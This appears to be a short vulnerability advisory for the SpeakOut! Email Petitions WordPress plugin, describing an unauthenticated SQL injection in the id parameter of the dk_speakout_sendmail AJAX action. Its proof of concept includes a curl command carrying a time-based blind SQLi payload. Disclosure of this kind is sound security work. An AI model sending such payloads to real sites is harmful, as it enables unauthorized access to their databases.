SpeakOut! Email Petitions < 2.14.15.1 - Unauthenticated SQLi

The plugin does not sanitise and escape the id parameter before using it in a SQL statement via the dk_speakout_sendmail AJAX action, leading to an SQL Injection exploitable by unauthenticated users

PoC

Create a new email petition (/wp-admin/admin.php?page=dk_speakout_addnew), check [x] Do not send email (only collect signatures), enter a title and hit save. Then as unauthenticated, curl ‘https://example.com/wp-admin/admin-ajax.php’ --data ‘action=dk_speakout_sendmail&id;=11 AND (SELECT 5023 FROM (SELECT(SLEEP(5)))Fvrh)-- VoFu’